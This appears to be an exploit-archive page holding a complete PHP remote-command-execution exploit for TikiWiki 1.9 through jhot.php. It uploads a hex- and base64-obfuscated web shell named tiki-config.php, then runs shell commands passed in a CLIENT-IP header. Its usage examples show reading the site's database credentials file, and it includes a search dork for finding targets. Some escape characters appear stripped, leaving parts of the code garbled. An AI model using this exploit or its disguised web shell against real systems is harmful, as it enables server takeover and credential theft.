[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : TikiWiki <= 1.9 Sirius (jhot.php) Remote Command Execution Exploit
# Published : 2006-09-02
# Author : rgod
# Previous Title : Muratsoft Haber Portal 3.6 (tr) Remote SQL Injection Vulnerability
# Next Title : Annuaire 1Two 2.2 Remote SQL Injection Exploit
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
TikiWiki <= 1.9 Sirius "jhot.php" remote commands execution exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "powered by tikiwiki"
--------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to tikiwiki
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /tikiwiki/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /tikiwiki/ cat ./../../db/local.php -p81
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$scode=
"x0dx0ax3cx3fx70x68x70x0dx0ax2fx2fx20x24x48x65x61".
"x64x65x72x3ax20x2fx63x76x73x72x6fx6fx74x2fx74x69".
"x6bx69x77x69x6bx69x2fx74x69x6bx69x2fx74x69x6bx69".
"x2dx63x6fx6ex66x69x67x2ex70x68x70x2cx76x20x31x2e".
"x38x2ex32x2ex35x20x32x30x30x35x2fx30x38x2fx32x32".
"x20x30x38x3ax30x30x3ax35x33x20x74x65x6cx65x6ex69".
"x65x6bx6fx20x45x78x70x20x24x0dx0ax0dx0ax2fx2fx20".
"x43x6fx70x79x72x69x67x68x74x20x28x63x29x20x32x30".
"x30x32x2dx32x30x30x35x2cx20x4cx75x69x73x20x41x72".
"x67x65x72x69x63x68x2cx20x47x61x72x6cx61x6ex64x20".
"x46x6fx73x74x65x72x2cx20x45x64x75x61x72x64x6fx20".
"x50x6fx6cx69x64x6fx72x2cx20x65x74x2ex20x61x6cx2e".
"x0dx0ax2fx2fx20x41x6cx6cx20x52x69x67x68x74x73x20".
"x52x65x73x65x72x76x65x64x2ex20x53x65x65x20x63x6f".
"x70x79x72x69x67x68x74x2ex74x78x74x20x66x6fx72x20".
"x64x65x74x61x69x6cx73x20x61x6ex64x20x61x20x63x6f".
"x6dx70x6cx65x74x65x20x6cx69x73x74x20x6fx66x20x61".
"x75x74x68x6fx72x73x2ex0dx0ax2fx2fx20x4cx69x63x65".
"x6ex73x65x64x20x75x6ex64x65x72x20x74x68x65x20x47".
"x4ex55x20x4cx45x53x53x45x52x20x47x45x4ex45x52x41".
"x4cx20x50x55x42x4cx49x43x20x4cx49x43x45x4ex53x45".
"x2ex20x53x65x65x20x6cx69x63x65x6ex73x65x2ex74x78".
"x74x20x66x6fx72x20x64x65x74x61x69x6cx73x2ex0dx0a".
"x0dx0ax23x20x24x48x65x61x64x65x72x3ax20x2fx63x76".
"x73x72x6fx6fx74x2fx74x69x6bx69x77x69x6bx69x2fx74".
"x69x6bx69x2fx62x61x6ex6ex65x72x5fx69x6dx61x67x65".
"x2ex70x68x70x2cx76x20x31x2ex38x2ex32x2ex35x20x32".
"x30x30x35x2fx30x38x2fx32x32x20x30x38x3ax30x30x3a".
"x35x33x20x74x65x6cx65x6ex69x65x6bx6fx20x45x78x70".
"x20x24x0dx0ax0dx0ax2fx2fx20x74x69x6bx69x77x69x6b".
"x69x20x63x6fx6ex66x69x67x75x72x61x74x69x6fx6ex20".
"x73x63x72x69x70x74x0dx0ax0dx0ax65x76x61x6cx28x62".
"x61x73x65x36x34x5fx64x65x63x6fx64x65x28x22x5ax58".
"x4ax79x62x33x4ax66x63x6dx56x77x62x33x4ax30x61x57".
"x35x6ex4bx44x41x70x4fx33x4ex6cx64x46x39x30x61x57".
"x31x6cx58x32x78x70x62x57x6cx30x4bx44x41x70x4fx32".
"x56x6ax61x47x38x67x49x6dx31x35x58x32x52x6cx62x47".
"x6cx74x49x6ax74x77x59x58x4ex7ax64x47x68x79x64x53".
"x67x6bx58x31x4ex46x55x6cx5ax46x55x6cx73x69x53x46".
"x52x55x55x46x39x44x54x45x6cx46x54x6cx52x66x53x56".
"x41x69x58x53x6bx37x22x29x29x3bx0dx0ax3fx3ex0dx0a";
$data.="-----------------------------7d529a1d23092arn";
$data.="Content-Disposition: form-data; name="filepath"; filename="tiki-config.php";rnrn";
$data.="$scodern";
$data.="-----------------------------7d529a1d23092a--rn";
$packet ="POST ".$p."jhot.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092arn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if ((!strstr($html,"200 OK")) | (eregi("supplied argument is not a valid stream resource",$html))) {die($html);}
sleep(2);
$packet ="GET ".$p."img/wiki/tiki-config.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="CLIENT-IP: ".$cmd.";rn";
$packet.="Accept: text/plainrn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
echo "exploit succeeded ...rn";
$temp=explode("my_delim",$html);
die($temp[1]);
}
//if you are here...
echo "exploit failed ...rn";
?>
# www.Syue.com [2006-09-02]